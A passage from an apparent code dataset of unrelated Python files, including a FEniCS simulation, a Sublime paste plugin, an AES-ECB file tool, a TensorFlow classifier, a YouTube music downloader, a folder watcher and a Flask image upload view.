fe.grad(v)), fe.grad(p)) * fe.dx\n#res += - tau * fe.inner(fe.dot(u, fe.grad(v)), -1 * fv1 * nu_trial * fe.div(fe.grad(u))) * fe.dx #TODO - update residual term for new turbulence model\nres += - tau * fe.inner(fe.dot(u, fe.grad(v)), -1 * nu * fe.div(fe.grad(u))) * fe.dx \nres += - tau * fe.inner(fe.dot(u, fe.grad(q)), fe.div(u)) * fe.dx\nres += - tau * fe.inner(fe.dot(u, fe.grad(v)), -1 * b) * fe.dx \n\nif STAB: \n weakForm += res\nstab = -tau*fe.inner(fe.grad(q), fe.grad(p))*fe.dx\nweakForm = weakForm + stab\n\ndW = fe.TrialFunction(W)\ndFdW = fe.derivative(weakForm, W0, dW)\n\nif MODEL: bcSet = [bc_1, bc_2, bc_3, bc_inflow, bc_p, bc_v_x0, bc_v_x1, bc_v_y1, bc_v_in, bc_v_top]\nelse: bcSet = [bc_1, bc_2, bc_3, bc_inflow, bc_p]\nproblem = fe.NonlinearVariationalProblem(weakForm, W0, bcSet, J=dFdW)\n\nsolver = fe.NonlinearVariationalSolver(problem)\n\nprm = solver.parameters\n\n\nt = 0.0\nt_end = 5.0\npFile = fe.File('Pressure.pvd')\nuFile = fe.File('Velocity.pvd')\nvFile = fe.File('Vorticity.pvd')\nwFile = fe.File('W.pvd')\nT = fe.FunctionSpace(mesh, 'CG', 1)\n#solver.solve()\nwhile t < t_end:\n print(\"t =\",t)\n solver.solve()\n u1,p1 = W0.split()\n uFile << u1\n pFile << p1\n We.assign(W0)\n wFile << W0\n omega = fe.curl(u)\n vFile << fe.project(fe.inner(omega, omega), T)\n t += dt\n\nu, p = W0.split()\n\n#-------------------------------------------------\n# Save this solution to a file for post-processing\n#-------------------------------------------------\nvtkFile = fe.File('u.pvd')\nvtkFile << u\nvtkFile = fe.File('p.pvd')\nvtkFile << p\n\nT = fe.TensorFunctionSpace(mesh, 'CG', 1)\nvtkFile = fe.File('tau.pvd')\nvtkFile << fe.project(nu * (fe.grad(u) + fe.grad(u).T), T)\n\n","sub_path":"unsteadyStep.py","file_name":"unsteadyStep.py","file_ext":"py","file_size_in_byte":5410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"428476559","text":"import sublime, sublime_plugin\nimport urllib.request, json\n\nclass PasteCamp:\n\tdef __init__(self, host):\n\t\tself.__host = host\n\n\tdef paste(self, content, syntax=\"\", options = {}):\n\t\turl = \"%s/api/paste\" % self.__host\n\t\t\n\t\tdata = {\"content\": content}\n\t\tdata.update(options)\n\n\t\tif syntax:\n\t\t\tdata['syntax'] = self.__getSyntaxId(syntax)\n\n\t\trespData = self.__post(\"api/paste\", data)\n\t\treturn \"%s/%s\" % (self.__host, respData['hash'])\n\n\tdef __getSyntaxId(self, syntax):\n\t\tsyntaxs = self.__get(\"api/syntax\")\n\t\tfor i in syntaxs:\n\t\t\tif i['title'] == syntax:\n\t\t\t\treturn i['id']\n\n\t\treturn None\n\n\tdef __post(self, path, data):\n\t\turl = \"%s/%s\" % (self.__host, path)\n\t\theaders = {\"Content-Type\": \"application/json\"}\n\n\t\tjson_data = str.encode(json.dumps(data))\n\n\t\treq = urllib.request.Request(url, json_data, headers)\n\t\tresp = urllib.request.urlopen(req)\n\t\trespData = json.loads(resp.read().decode())\n\n\t\treturn respData\n\n\tdef __get(self, path):\n\t\turl = \"%s/%s\" % (self.__host, path)\n\n\t\treq = urllib.request.Request(url)\n\t\tresp = urllib.request.urlopen(req)\n\t\trespData = json.loads(resp.read().decode())\n\n\t\treturn respData\n\nclass PasteCampCommand(sublime_plugin.TextCommand):\n\tdef run(self, edit):\n\t\tcontent = \"\"\n\n\t\tfor reg in self.view.sel():\n\t\t\tif content:\n\t\t\t\tcontent += \"\\n\\n\"\n\n\t\t\tcontent += self.view.substr(reg)\n\n\t\tif not content:\n\t\t\tcontent = self.view.substr(sublime.Region(0, self.view.size()))\n\n\t\ttry:\n\t\t\tpastecamp = PasteCamp(\"https://paste.camp\")\n\n\t\t\tsyntax = self.view.settings().get('syntax').split(\"/\")[1]\n\t\t\tresp = pastecamp.paste(content, syntax)\n\n\t\t\tsublime.set_clipboard(resp)\n\t\texcept:\n\t\t\tpass\n","sub_path":"paste-camp.py","file_name":"paste-camp.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"12010274","text":"import random\n\n\ndef random_subtraction():\n\n num1 = random.randint(50, 100)\n num2 = random.randint(50, 100)\n\n selection = int(input('press 1 to start subtraction quiz or press 0 to quit : \\n '))\n while selection == 1:\n answer = int(input(f'What is {num1} - {num2} : '))\n\n if answer == 0:\n break\n elif answer == num1 - num2:\n print('Well-done, you got it right')\n\n else:\n print('Incorrect answer, try again')\n\n while answer != num1 - num2:\n answer = int(input(f'What is {num1} - {num2} : '))\n if answer == num1 - num2:\n print('Well-done, you got it right')\n else:\n print('Incorrect answer, try again')\n\n\nrandom_subtraction()\n","sub_path":"comp_ass_prog/randomSubtraction.py","file_name":"randomSubtraction.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"168911727","text":"import sys\nimport ECB\n\ncmdargs = sys.argv #liste des arguments passés au programme\n\nif len(cmdargs) != 5 or (cmdargs[1] != '-d' and cmdargs[1] != '-e'):\n print(\"Utilisation : aes.py -d|-e \")\n print(\"Les chaînes de caractères doivent être entourées de guillemets.\")\n exit(1)\n\n#vérifie la taille de la clé, elle doit être de 16 octets\nif len(cmdargs[2]) != 16:\n print(\"La clé doit faire 16 octets!\")\n exit(1)\n\ncle = list(map(ord, cmdargs[2])) #convertir la clé en une liste d'entiers\n\nentree = open(cmdargs[3], 'rb').read() #lecture du fichier d'entrée, en mode binaire\nentree += bytes([0]*((16-len(entree)%16)%16)) #remplissage de la liste avec des zeros jusqu'à obtenir une taille divisible par 16\n\nresultat = []\nfor i in range(0, len(entree), 16):\n if(cmdargs[1] == '-d'):\n resultat += (ECB.decrypt(entree[i:i+16], cle)) #decode par bloc de 16 octets\n else:\n resultat += (ECB.encrypt(entree[i:i+16], cle)) #encode par bloc de 16 octets\n\nsortie = open(cmdargs[4], 'wb') #ouverture/création du fichier de sortie, en mode binaire\nsortie.write(bytes(resultat))\n","sub_path":"Programmes/AES-ECB/aes.py","file_name":"aes.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"558039214","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 6 20:51:40 2018\n\n@author: huy\n\"\"\"\n\n#Task 02 in assignment01, Stanford cs20si\nfrom __future__ import division, absolute_import, print_function\nfrom tqdm import *\n\nimport tensorflow as tf\nimport pandas as pd\nimport os\nimport numpy as np\nimport q2_utils\n\nos.chdir('/home/huy/Desktop/cs20si-assignment/assignment01/q2_data')\ntest, train = os.listdir(os.getcwd())\nimg_size = 28\nbatch = 256\npath_train = os.getcwd() + '/' + train\npath_test = os.getcwd() + '/' + test\n \ntrain_dataset, train_labels = q2_utils.load_whole_data(path_train)\ntest_dataset, test_labels = q2_utils.load_whole_data(path_test)\n \ntrain_labels = q2_utils.make_onehot(train_labels)\ntest_labels = q2_utils.make_onehot(test_labels)\n\ntrain_dataset = np.reshape(train_dataset, (-1, 784))\ntest_dataset = np.reshape(test_dataset, (-1, 784))\n\ntrain_dataset, train_labels = q2_utils.shuffle(train_dataset, train_labels)\n \nwith tf.name_scope('input_data'):\n X = tf.placeholder(dtype=tf.float32, shape=[None, 784], name='X_placeholder')\n Y = tf.placeholder(dtype=tf.float32, shape=[None, 10], name='Y_placeholder')\n \n#conv1 = q2_utils.conv_relu(X, [5, 5, 1, 32], [1, 1, 1, 1], 'SAME', 'conv1')\n#pool1 = q2_utils.pooling(conv1, [1, 2, 2, 1], [1, 2, 2, 1], 'VALID', 'max', 'pool1')\n#conv2 = q2_utils.conv_relu(pool1, [5, 5, 32, 64], [1, 1, 1, 1], 'SAME', 'conv2')\n#pool2 = q2_utils.pooling(conv2, [1, 2, 2, 1], [1, 2, 2, 1], 'VALID', 'max', 'pool2')\n#features = int(np.prod(pool2.get_shape().as_list()[1:]))\n#pool2 = tf.reshape(pool2, shape=[-1, features])\n \nfc1 = q2_utils.fully_connected(X, 1024, with_relu=True, scope_name='fc1')\ndropout = tf.nn.dropout(fc1, keep_prob=0.5)\n#fc2 = q2_utils.fully_connected(fc1, 256 , with_relu=True, scope_name='fc2')\nlogits = q2_utils.fully_connected(fc1, 10, with_relu=False, scope_name='logits')\n\nwith tf.name_scope('loss'):\n entropy = tf.nn.softmax_cross_entropy_with_logits(labels=Y, logits=logits)\n loss = tf.reduce_mean(entropy, name='loss')\n \nwith tf.name_scope('optimizer'):\n optimizer = tf.train.AdamOptimizer(learning_rate=0.001).minimize(loss)\n\npreds = tf.nn.softmax(logits)\ncor_pred = tf.equal(tf.argmax(preds, 1), tf.argmax(Y, 1))\naccuracy = tf.reduce_sum(tf.cast(cor_pred, tf.float32))\n \nwith tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n n_batches = int(train_dataset.shape[0] / batch)\n total_loss = 0.0\n \n for index in range(n_batches*3):\n offset = (index * batch) % (train_dataset.shape[0] - batch)\n X_batch = train_dataset[offset:(offset + batch), :]\n Y_batch = train_labels[offset:(offset + batch), :]\n \n _, loss_batch = sess.run([optimizer, loss],\n feed_dict={X: X_batch,\n Y: Y_batch})\n total_loss += loss_batch\n if (index + 1) % 100 == 0:\n print('Average training loss at step {}: {}'.format((index + 1), total_loss/100))\n total_loss = 0.0\n print('Optimization finished')\n \n test_batches = int(test_dataset.shape[0] / batch)\n total_correct_preds = 0.0\n for index in range(test_batches):\n offset = (index * batch) % (test_dataset.shape[0] - batch)\n X_batch = test_dataset[offset:(offset + batch), :]\n Y_batch = test_labels[offset:(offset + batch), :]\n \n _, loss_batch, accuracy_batch = sess.run([optimizer, loss, accuracy],\n feed_dict={X: X_batch,\n Y: Y_batch})\n \n total_correct_preds += accuracy_batch\n print('Accuracy: {}'.format(total_correct_preds/test_dataset.shape[0]))\n \n \n ","sub_path":"assignment01/q2.py","file_name":"q2.py","file_ext":"py","file_size_in_byte":3760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"342041311","text":"import FWCore.ParameterSet.Config as cms\nfrom GeneratorInterface.ReggeGribovPartonMCInterface.ReggeGribovPartonMC_AdvancedParameters_cfi import *\n\ngenerator = cms.EDFilter(\"ReggeGribovPartonMCGeneratorFilter\",\n ReggeGribovPartonMCAdvancedParameters,\n beammomentum = cms.double(2510),\n targetmomentum = cms.double(-2510),\n beamid = cms.int32(208),\n targetid = cms.int32(1),\n model = cms.int32(0),\n )\n\nconfigurationMetadata = cms.untracked.PSet(\n version = cms.untracked.string('$Revision: 1.4 $'),\n name = cms.untracked.string('$Source: /local/reps/CMSSW/CMSSW/GeneratorInterface/ReggeGribovPartonMCInterface/python/ReggeGribovPartonMC_EposLHC_5TeV_pPb_cfi.py,v $'),\n annotation = cms.untracked.string('ReggeGribovMC generator')\n )\n\nparticlefilter = cms.EDFilter(\"PythiaFilter\",\n Status = cms.untracked.int32(1),\n MaxRapidity = cms.untracked.double(2.4),\n MinRapidity = cms.untracked.double(-2.4),\n MinPt = cms.untracked.double(4.0),\n MaxPt = cms.untracked.double(999.),\n ParticleID = cms.untracked.int32(3312),\n)\n\nProductionFilterSequence = cms.Sequence(generator+particlefilter)\n","sub_path":"ConfigForMCRequest/2013pPb/ProtonToNegZ/ReggeGribovPartonMC_EposLHC_5TeV_pPb_ProtonToNegZ_XiFilter_Pt_4p0_cfi.py","file_name":"ReggeGribovPartonMC_EposLHC_5TeV_pPb_ProtonToNegZ_XiFilter_Pt_4p0_cfi.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"56110188","text":"\nclass LVSystem:\n def __init__(self, init_prey, init_pred, prey_birth_rate, prey_predation_rate, pred_death_rate, pred_reprod_rate):\n self.x = init_prey\n self.y = init_pred\n self.a = prey_birth_rate\n self.b = prey_predation_rate\n self.m = pred_death_rate\n self.n = pred_reprod_rate\n\n def simulate(self, n_iter):\n x = self.x\n y = self.y\n\n prey = [x]\n pred = [y]\n\n for i in xrange(n_iter):\n x += self.a * x - self.b * x * y\n y += -self.m * y + self.n * x * y\n\n if x < 0:\n x = 0\n if y < 0:\n y = 0\n\n prey.append(x)\n pred.append(y)\n\n return range(0, n_iter), prey, pred\n\n\n# a = LVSystem(800, 5, 0.005, 0.000625, 0.2, 0.0003)\n# a = LVSystem(40, 20, 0.1, 0.003125, 0.02, 0.0025)\n# a = LVSystem(400, 100, 0.01, 2.5 / 40000, 0.01, 1.2 / 40000)\n# time, prey, pred = a.simulate(3000)\n#\n# import pandas as pd\n#\n# d = {\"prey\": pd.Series(prey),\n# \"pred\": pd.Series(pred)}\n# df = pd.DataFrame(d)\n# df.to_csv(\"/Users/alejandro/Dropbox (Personal)/Dissertation/Python Files/LVdynamic.csv\")\n#\n# from plotly.graph_objs import Scatter, Layout\n# plotly.offline.plot({\n# \"data\": [Scatter(x=time, y=prey, name=\"Prey\", mode=\"lines\"),\n# Scatter(x=time, y=pred, name=\"Predator\", mode=\"lines\")],\n# \"layout\": Layout(title=\"Predator-Prey Dynamic System\")\n# })\n","sub_path":"dynamic.py","file_name":"dynamic.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"87243346","text":"# -*- coding: utf-8 -*-\n# import tracemalloc\nimport os\nimport logging\nimport uuid\nimport datetime\nimport json\nimport sys\nimport getopt\nimport time\nimport traceback\nimport random\nimport re\nimport timeit\nimport pickle\nimport csv\nimport subprocess\nimport pafy\nfrom pytube import YouTube\nfrom pydub import AudioSegment\nfrom mhyt import yt_download\nimport cv2\nfrom functools import wraps\nfrom flask import abort\nimport marshmallow as ma\nfrom urllib.error import ContentTooShortError\nfrom marshmallow import Schema, post_load, validate\nfrom mv_musictool.mvmodels.Projects import Project,ProjectFile,TempFileStorage\nfrom mv_musictool.mvexception.exception import MVException, ValidationException,Test\nfrom mongoengine.queryset.visitor import Q\nfrom flask import Flask,jsonify\nfrom flask_pymongo import PyMongo\nfrom flask_restplus import Api, Resource, fields\nfrom bson import ObjectId\nfrom mv_musictool import settings\nfrom mv_musictool.api import utils\nfrom pymongo import MongoClient\nimport threading\nfrom werkzeug.utils import secure_filename\n\n\nprint (sys.getdefaultencoding())\n\nlog = logging.getLogger(__name__)\n\"\"\" Db initialization \"\"\"\nlocal=MongoClient()\ndb=local['test_youtube_db']\ncoll=db[\"test_youtube_account\"]\n\n\nWATCH_URL = \"https://www.youtube.com/watch?v=\"\n# pafy.set_api_key(\"AIzaSyDb6YEmYxpBPA4il0VmEqxYUC2qovIuJGo\")\n\n\nDEFAULT_UPLOAD_PATH = settings.MEDIA_PATH+\"/\"\nBASE_MEDIA_PATH = \"mv_musictool/static/media/\"\nTHUMBNAIL_JPG = \"_thumbnail.jpg\"\n\n#TODO handle mv exception\nclass ProjectSchema(Schema):\n db_id = ma.fields.Str(allow_none=True)\n name = ma.fields.Str(required=False)\n description = ma.fields.Str(required=False, default='')\n file_url = ma.fields.Str(required=False, default='')\n file_duration = ma.fields.Str(required=False, default='')\n file_youtube = ma.fields.Str(required=False, default='')\n deleted = ma.fields.Boolean(required=False, default=False)\n file_status = ma.fields.Dict(required=False)\n thumbnail_url = ma.fields.Str(required=False)\n file_type= ma.fields.Str(required=False)\n published_at = ma.fields.DateTime()\n created_at = ma.fields.DateTime()\n updated_at = ma.fields.DateTime()\n captions = ma.fields.Str(required=False)\n mono_link = ma.fields.Str(required=False)\n\n @post_load\n def make_project(self, data):\n return Project(**data)\n\n'''\n ==============================================\n musictool - Class Factory\n ================================================\n'''\n\nclass NAlignSetFactory(object):\n\n # db connect in __init__?\n def __init__(self):\n # log.debug ('init')\n pass\n\n def get_marshalled_schema(self,obj):\n if obj:\n schema=ProjectSchema()\n retdata = schema.dump(obj)\n return retdata\n \n def create_project(self,data):\n i = 0\n proj_obj ={}\n res =[]\n # if 'db_id' in data:\n # if data[\"db_id\"]:\n # proj_obj = self.update_project(data)\n if not proj_obj:\n if \"file\" in data:\n file = data[\"file\"]\n print(\"file name\", file)\n proj_obj, error = ProjectSchema().load(data)\n print(\"\",proj_obj,error)\n proj_obj[\"db_id\"] = uuid.uuid4().hex\n proj_obj[\"created_at\"] = datetime.datetime.now()\n proj_obj['multiple_video_upload_status'] = {\"status\":\"processing\"}\n \n if proj_obj[\"file_url\"] != None and proj_obj[\"file_url\"] != '': \n \n music_file_name = proj_obj[\"db_id\"]+'.mp3'\n video_file_name = proj_obj[\"db_id\"]+'.mp4'\n music_file_name_wav = proj_obj[\"db_id\"]+'.wav'\n prefix_folder = settings.BASE_MEDIA_PATH\n try:\n yt_download(proj_obj[\"file_url\"],prefix_folder+music_file_name ,ismusic=True)\n yt_download(proj_obj[\"file_url\"],prefix_folder+video_file_name)\n subprocess.call([\"ffmpeg\", \"-i\",prefix_folder+music_file_name,music_file_name_wav])\n sound = AudioSegment.from_wav(music_file_name_wav)\n sound = sound.set_channels(1)\n sound = sound.set_frame_rate(44100)\n export_path = sound.export(BASE_MEDIA_PATH+music_file_name_wav, format=\"wav\")\n print(export_path)\n video = pafy.new(proj_obj[\"file_url\"], basic=True)\n # get_video_duration = YouTube(proj_obj[\"file_url\"]) -- Option\n print(\"video thumb\",video.thumb)\n proj_obj[\"thumbnail_url\"] = video.thumb\n proj_obj[\"file_duration\"] = str(video.duration)\n proj_obj[\"mono_link\"]='/static/media/'+proj_obj[\"db_id\"]+'.wav'\n proj_obj[\"updated_at\"] = datetime.datetime.now() \n proj_obj[\"captions\"] = \"\"\n proj_obj.save() \n schema=ProjectSchema()\n retdata,error = schema.dump(proj_obj)\n print(\"im erorr\",retdata)\n return retdata \n except Exception as exc:\n print(\"im heref\",exc)\n return res\n \n def get_query_order(self,order,column):\n order=order.lower()\n if order==\"asc\":\n order='+'\n elif order==\"desc\":\n order=\"-\"\n return order+column\n\n\n def get_paginated_project_results(self,partial,column,order,page_number,limit):\n num_offset = (page_number - 1) * limit\n num_limit = num_offset + limit\n if num_offset < 0:\n raise MVException(\"Cannot go any further back\")\n\n total_results = Project.objects(deleted=False).count()\n query_ordered_by = self.get_query_order(order,column)\n filtered_results = Project.objects(\n name__icontains=partial, deleted=False).count()\n if limit == -1:\n query_result = Project.objects(name__icontains=partial, deleted=False).order_by(query_ordered_by)[:]\n else:\n query_result = Project.objects(name__icontains=partial, deleted=False).order_by(query_ordered_by)[\n num_offset:num_limit]\n if query_ordered_by == '+name':\n query_result = Project.objects(name__icontains=partial,\n deleted=False).order_by(query_ordered_by)\n query_result = sorted(query_result, key=lambda k: k[\"name\"].lower())[\n num_offset:num_limit]\n if query_ordered_by == '-name':\n query_result = Project.objects(name__icontains=partial,\n deleted=False).order_by(query_ordered_by)\n query_result = sorted(query_result, key=lambda k: k[\"name\"].lower(), reverse=True)[\n num_offset:num_limit]\n print(\"total result\",total_results)\n return {'data': query_result, 'recordsTotal': total_results, 'recordsFiltered': filtered_results}\n\n \ntheNAlignSetFactory = NAlignSetFactory()\n\n\n\n\n","sub_path":"mv_musictool/mvschemas/musictool.py","file_name":"musictool.py","file_ext":"py","file_size_in_byte":7055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"347844279","text":"from watchdog.observers import Observer\nfrom watchdog.events import FileSystemEventHandler\n# pip install watchdog pra funcionar esses pacotes\n\nimport os\nimport json\nimport time\n\nclass MyHandler(FileSystemEventHandler):\n\n i = 1\n\n def on_modified(self, event):\n new_name = \"nova_anotaçao_\" + str(self.i) + \".txt\"\n for filename in os.listdir(folder_to_track):\n file_exists = os.path.isfile(folder_destination + \"/\" + new_name)\n while file_exists:\n self.i += 1\n new_name = \"nova_anotaçao_\" + str(self.i) + \".txt\"\n file_exists = os.path.isfile(folder_destination + \"/\" + new_name)\n\n src = folder_to_track + \"/\" + filename\n new_destination = folder_destination + \"/\" + new_name\n os.rename(src, new_destination)\n\nfolder_to_track = \"C:/Users/ema29/Desktop/Auto\"\nfolder_destination = \"C:/Users/ema29/Desktop/pastaNova\"\n\nevent_handler = MyHandler()\nObserver = Observer()\nObserver.schedule(event_handler, folder_to_track, recursive=True)\nObserver.start()\n\ntry:\n while True:\n time.sleep(10)\nexcept KeyboardInterrupt:\n Observer.stop()\nObserver.join()\n","sub_path":"organizador/pasta-automatica.py","file_name":"pasta-automatica.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"358043945","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Apr 21 22:36:55 2018\r\n\r\n@author: sxchen0705\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport datetime\r\n\r\ndef quarter2month(tdate,data,factorname):\r\n datadate=list(data.columns[2:])\r\n datayear=np.array([x.year for x in datadate])\r\n datamonth=np.array([x.month for x in datadate])\r\n for i in range(len(tdate)):\r\n tdate_sel=str(tdate[i])\r\n tdate_sel=datetime.datetime(int(tdate_sel[:4]),int(tdate_sel[4:6]),int(tdate_sel[6:]),0,0)\r\n if tdate_sel.month<=3:\r\n ix=np.where((datayear==tdate_sel.year-1) & (datamonth==9))[0] # 去年3季报\r\n elif tdate_sel.month>=4 and tdate_sel.month<=7:\r\n ix=np.where((datayear==tdate_sel.year) & (datamonth==3))[0] # 今年1季报\r\n elif tdate_sel.month>=8 and tdate_sel.month<=9:\r\n ix=np.where((datayear==tdate_sel.year) & (datamonth==6))[0] # 今年半年报\r\n elif tdate_sel.month>=10:\r\n ix=np.where((datayear==tdate_sel.year) & (datamonth==9))[0] # 今年3季报\r\n data_sel=data.iloc[:,[0,ix+2]]\r\n data_sel.columns=['code',factorname]\r\n data_sel['date']=tdate[i]\r\n if i==0:\r\n factor_frm=data_sel\r\n else:\r\n factor_frm=pd.concat([factor_frm,data_sel],axis=0)\r\n return factor_frm","sub_path":"quarter2month.py","file_name":"quarter2month.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"415429727","text":"#minijkind runs in aivc alg 2 3 4\n__author__ = \"Elaheh\"\n__date__ = \"$Jan 20, 2018 11:17:33 PM$\"\n# run after allIvcs_notimeout_mining.py \n\nimport xml.etree.cElementTree as ET\nimport os, glob, sys, shelve, shutil\nfrom operator import itemgetter\n\nRESULTS_DIR = 'all_ivcs_results4' \nMINING_DIR = 'mining'\nEXPERIMENTS_DIR = 'benchmarks'\nSORTED_MODELS = 'list_of_sorted_models.txt'\n\nmodels = []\nwith open (os.path.join(MINING_DIR, SORTED_MODELS)) as models_name:\n for line in models_name:\n if (line is not '\\n'):\n models.append(line.strip('\\n'))\nmodels_name.close() \nadequate = 0\ninadequate = 0\nfor indx, file in enumerate(models):\n runs = []\n ivc_info = shelve.open(os.path.join(MINING_DIR, file + '_ivc_info')) \n try:\n tree = ET.ElementTree(file = os.path.join(RESULTS_DIR, file + '_alg4_allivcs_inter_loop_runs.xml'))\n for elem in tree.iter(tag = 'Run'):\n t = \"\"\n s = \"\"\n times = elem.find('Time')\n sts = elem.find('Result')\n for e1 in times.iter('Time') :\n t = e1.text\n for e2 in sts.iter('Result'):\n s = e2.text\n if(s == 'VALID'):\n adequate = adequate + 1\n else:\n inadequate = inadequate + 1\n #runs.append({'status': s, 'time': t}) \n except:\n #runs.append({'status': \"\", 'time': str(0)})\n pass\n ivc_info ['adeq_res_alg4'] = adequate\n ivc_info ['inadeq_res_alg4'] = inadequate\n ivc_info.close() \n \n \n \n#flag = 1 \nfor indx, file in enumerate(models):\n ivc_info = shelve.open(os.path.join(MINING_DIR, file + '_ivc_info')) \n # loading miniaml IVCs from the complete execution\n \n runs = []\n n = 0\n try: \n tree = ET.ElementTree(file = os.path.join(RESULTS_DIR, file + '_alg4_all_uc_minijkind.xml')) \n for elem in tree.iter(tag = 'Results'):\n '''t = \"\"\n s = \"\"\n rid = \"\"\n times = elem.find('Time')\n for e1 in times.iter('Time') :\n t = e1.text'''\n sts = elem.find('NewSet')\n for e1 in sts.iter('NewSet') :\n n = n + 1 \n except:\n #print(sys.exc_info()[0])\n #runs.append({'new_set': \"\", 'time': str(0), 'runid': str(0)}) \n pass \n if (n <= 1):\n print (file)\n ivc_info ['discovered_mivcs_alg4'] = n\n ivc_info.close()\n \n \n \n \n\n","sub_path":"experiments/raw_results_30min_timeout/minijkindruns234.py","file_name":"minijkindruns234.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"295408909","text":"\"\"\"\n@author: Jim\n@project: PicsBed\n@file: image.py\n@time: 2020/5/30 16:01\n@desc: \n \n\"\"\"\nimport os\nimport uuid\n\nfrom flask import views, request\nfrom flask.blueprints import Blueprint\nfrom werkzeug.utils import secure_filename\n\nfrom utils.yun.alioss import AliOss\n\nbp = Blueprint(\"image\", __name__, url_prefix=\"/image\")\n\n\nclass UploadImageView(views.MethodView):\n\n def allowed_file(self, filename: str) -> bool:\n \"\"\"\n 检验扩展名. 判断文件是否上传\n Returns:\n\n \"\"\"\n ALLOWED_EXTENSIONS = [\"jpg\", \"png\", \"gif\", \"bmp\"]\n\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n def post(self):\n \"\"\"\n 上传图片.\n Returns:\n 外链\n \"\"\"\n\n upload_img = request.files.get(\"upload_image\", None)\n\n if upload_img and self.allowed_file(upload_img.filename):\n file_name = secure_filename(upload_img.filename)\n fake_name = \"{}{}\".format(uuid.uuid4().hex, os.path.splitext(file_name)[-1])\n\n alioss = AliOss(\"jim\")\n if alioss.upload_from_bytes(upload_img, fake_name):\n return \"ok\"\n\n return \"failed\"\n\n\nbp.add_url_rule(\"/upload\", view_func=UploadImageView.as_view('upload'))\n","sub_path":"PicsBed/api/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"486417737","text":"# -*- coding: utf-8 -*-\n\n\nimport socket\nimport io\nimport tornado\n\n\nHOST = \"localhost\"\nPORT = 3268\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\nserver.bind((HOST, PORT))\n\nserver.listen(5)\n\nprint(\"waiting for connecting\")\n\n\nwhile True:\n conn, addr = server.accept()\n print(f\"connected by {addr}\")\n\n buffer = io.StringIO()\n while True:\n data = conn.recv(1024)\n if data:\n data = str(data, encoding=\"utf-8\")\n print(f\"server receive data={data}\")\n buffer.write(data)\n conn.sendall(bytes(\"Hello\", encoding=\"utf-8\"))\n else:\n break\n print(f\"get all data {buffer.getvalue()}\")\n buffer.close()\n conn.close()\n print(f\"connection from {addr} closed\")\n","sub_path":"src/review/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"345723111","text":"\"\"\"\nCommon unicode icons used in Hoverset\n\"\"\"\nfrom hoverset.data.images import get_tk_image\n# Not all resources may be rendered on the code editor but\n# they sure as hell will be rendered in the interface.\n# Trust the name!\n_resources = {\n \"color_picker\": \"\", # ==\n \"settings\": \"\", # ==\n \"image_dark\": \"\", # ==\n \"image_light\": \"\", # ==\n \"calendar_light\": \"\", # ==\n \"calendar_dark\": \"\", # ==\n \"copy\": \"\", # ==\n \"clipboard\": \"\", # ==\n \"folder\": \"\", # ==\n \"file_explorer_light\": \"\", # ==\n \"file_explorer_dark\": \"\", # ==\n \"emoji\": \"\", # ==\n \"aggregate\": \"\", # ==\n \"arrow_left\": \"\", # ==\n \"equalizer\": \"\", # ==\n \"calculator\": \"\", # ==\n \"developer\": \"\", # ==\n \"math\": \"∑\", # ==\n \"play\": \"\", # ==\n \"network\": \"\", # ==\n \"shield\": \"\", # ==\n \"security\": \"\", # ==\n \"close\": \"\", # ==\n \"separate\": \"\", # ==\n \"gaming\": \"\", # ==\n \"data\": \"\", # ==\n \"info\": \"\", # ==\n \"image_editor\": \"\", # ==\n \"crop_resize\": \"\", # ==\n \"redo\": \"\", # ==\n \"undo\": \"\", # ==\n \"rotate_counterclockwise\": \"\", # ==\n \"rotate_clockwise\": \"\", # ==\n \"paint\": \"\", # ==\n \"heart\": \"❤\", # ==\n \"flip_horizontal\": \"\", # ==\n \"flip_vertical\": \"\", # ==\n \"camera\": \"\", # ==\n \"chevron_up\": \"\", # ==\n \"chevron_down\": \"\", # ==\n \"chevron_left\": \"\", # ==\n \"chevron_right\": \"\", # ==\n \"triangle_up\": \"⏶\", # ==\n \"triangle_down\": \"⏷\", # ==\n \"triangle_right\": \"⏵\", # ==\n \"triangle_left\": \"⏴\", # ==\n \"checkbutton\": \"\", # ==\n \"frame\": \"\", # ==\n \"labelframe\": \"\", # ==\n \"menu\": \"\", # ==\n \"menubutton\": \"\", # ==\n \"grid\": \"\", #\n \"text\": \"\", #\n \"combobox\": \"\", #\n \"listbox\": \"\", #\n \"radiobutton\": \"\", #\n \"button\": \"\", #\n \"multiline_text\": \"\", #\n \"sizegrip\": \"\",\n \"treeview\": \"\",\n 